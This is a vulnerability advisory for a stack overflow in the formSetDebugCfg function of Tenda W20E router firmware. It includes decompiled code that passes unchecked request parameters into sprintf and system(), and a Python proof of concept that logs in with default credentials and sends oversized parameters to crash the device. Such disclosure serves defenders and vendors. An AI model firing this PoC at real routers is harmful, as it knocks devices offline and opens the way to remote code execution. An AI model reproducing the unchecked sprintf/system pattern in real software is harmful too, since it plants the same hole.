* Tenda W20E stack vulnerability

* Version

V15.11.0.6 (US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC)

* Firmware

https://www.tenda.com.cn/download/detail-2707.html

* Vulnerability Detail

In function formSetDebugCfg, the content obtained by the program from the parameter "enable", "level" and "module" are passed to pcVar1 and pcVar3, and then the pcVar1, pcVar2 and pcVar3 are directly copied into the cmd stack through the sprintf function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
void formSetDebugCfg(webs_t wp,char_t *pPath,char_t *pQuery)

{
  char *pcVar1;
  char *pcVar2;
```

```
    char *pcVar3;
    char cmd [128];
    char *pModule;
    char *pLevel;
    char *pEnable;

    memset(cmd,0,0x80);
    pcVar1 = websGetVar(wp,"enable","2");
    pcVar2 = websGetVar(wp,"level","2");
    pcVar3 = websGetVar(wp,"module","httpd");
    sprintf(cmd,"echo enable=%s level=%s > /var/debug/%s",pcVar1,pcVar2,pcVar3);  //he
    system(cmd);
    outputToWebs(wp,cmd);
    return;
  }
```

* POC

```
import requests

cmd  = b'enable=' + b'A' * 800
cmd += b'&level='+ b'A' * 800
cmd += b'&module='+ b'A' * 800

url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/setDebugCfg/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```